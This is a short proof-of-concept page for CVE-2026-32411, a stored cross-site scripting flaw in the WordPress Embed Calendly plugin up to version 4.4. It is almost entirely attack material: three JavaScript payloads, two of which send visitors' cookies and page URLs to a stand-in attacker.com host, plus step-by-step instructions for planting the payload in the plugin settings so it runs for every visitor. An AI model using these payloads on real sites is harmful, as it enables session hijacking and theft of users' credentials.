CVE-2026-32411 WordPress Embed Calendly插件存储型XSS漏洞

// CVE-2026-32411 Stored XSS PoC // Target: WordPress Embed Calendly plugin <= 4.4 // Payload 1: Basic alert (for testing) const payload1 = '<script>alert("XSS by CVE-2026-32411")</script>'; // Payload 2: Cookie stealing const payload2 = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'; // Payload 3: Session hijacking with fetch API const payload3 = `<script> document.write('<img src="https://attacker.com/log?cookie='+document.cookie+'&url='+location.href+'">'); </script>`; // Attack steps: // 1. Identify input field in Embed Calendly plugin settings // 2. Inject malicious JavaScript payload // 3. Save the settings (payload gets stored in database) // 4. When any user visits the affected page, the XSS executes